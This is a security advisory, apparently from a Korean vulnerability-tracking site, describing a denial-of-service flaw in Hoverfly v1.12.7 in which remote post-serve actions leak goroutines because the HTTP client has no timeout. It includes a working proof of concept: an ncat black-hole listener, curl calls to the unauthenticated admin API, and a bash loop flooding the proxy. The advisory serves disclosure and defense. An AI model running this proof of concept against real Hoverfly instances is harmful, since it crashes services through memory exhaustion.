Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H상세 설명
Summary:
Remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.
Details:
1. Remote actions executed in goroutines without timeout (core/hoverfly.go:224-228):
1go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)Post-serve actions are executed in separate goroutines with no recovery wrapper.
2. HTTP client has no timeout (core/action/action.go:128-143):
1req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes)) 2// ... 3resp, err := http.DefaultClient.Do(req) // No timeout! Blocks forever.http.DefaultClient has zero timeout by default in Go. If the remote server:
- Accepts the TCP connection but never sends a response
- Establishes TLS but never completes the handshake
- Uses TCP window size 0 (flow control stall)
...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.
3. No goroutine limit or backpressure:
There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.
4. The goroutine is never cleaned up:
The only exit path from Execute() is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.
Environment:
- Hoverfly version: v1.12.7
- Operating System: macOS Darwin 25.4.0
- Go version: 1.26.2
- Configuration: Default (no flags required)
POC:
Step 1: Start a black-hole TCP listener (accepts connections, never responds)
1# Option A: Use ncat 2ncat -l -k 9999 & 3 4# Option B: Use a non-routable IP (connections hang at TCP SYN) 5# 192.0.2.1 is TEST-NET-1, guaranteed non-routable 6# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)Step 2: Register remote post-serve action pointing to the black hole
1curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \ 2 -H "Content-Type: application/json" \ 3 -d '{ 4 "actionName": "leak", 5 "remote": "http://192.0.2.1:9999/blackhole", 6 "delayInMs": 0 7 }'Step 3: Load a catch-all simulation
1curl -X PUT http://localhost:8888/api/v2/simulation \ 2 -H "Content-Type: application/json" \ 3 -d '{ 4 "data": { 5 "pairs": [{ 6 "request": {"path": [{"matcher": "glob", "value": "*"}]}, 7 "response": {"status": 200, "body": "ok", "postServeAction": "leak"} 8 }], 9 "globalActions": {"delays": [], "delaysLogNormal": []}10 },11 "meta": {"schemaVersion": "v5.2"}12 }'Step 4: Flood with requests
1# Each request spawns an immortal goroutine 2for i in $(seq 1 10000); do 3 curl -s -x http://localhost:8500 "http://target.com/req${i}" & 4 # Throttle to avoid local FD exhaustion 5 [ $((i % 100)) -eq 0 ] && wait 6doneVerified memory impact on Hoverfly v1.12.7:
1Memory before: 20,064 KB 2Memory after 50 requests: 23,376 KB 3Memory increase: 3,312 KB (66 KB per goroutine)At this rate:
- 1,000 requests = ~64 MB leaked
- 10,000 requests = ~640 MB leaked
- 100,000 requests = ~6.4 GB leaked → OOM crash
Impact:
An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:
- Registering a remote post-serve action pointing to a non-responsive endpoint.
- Loading a catch-all simulation that triggers the action on every request.
- Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.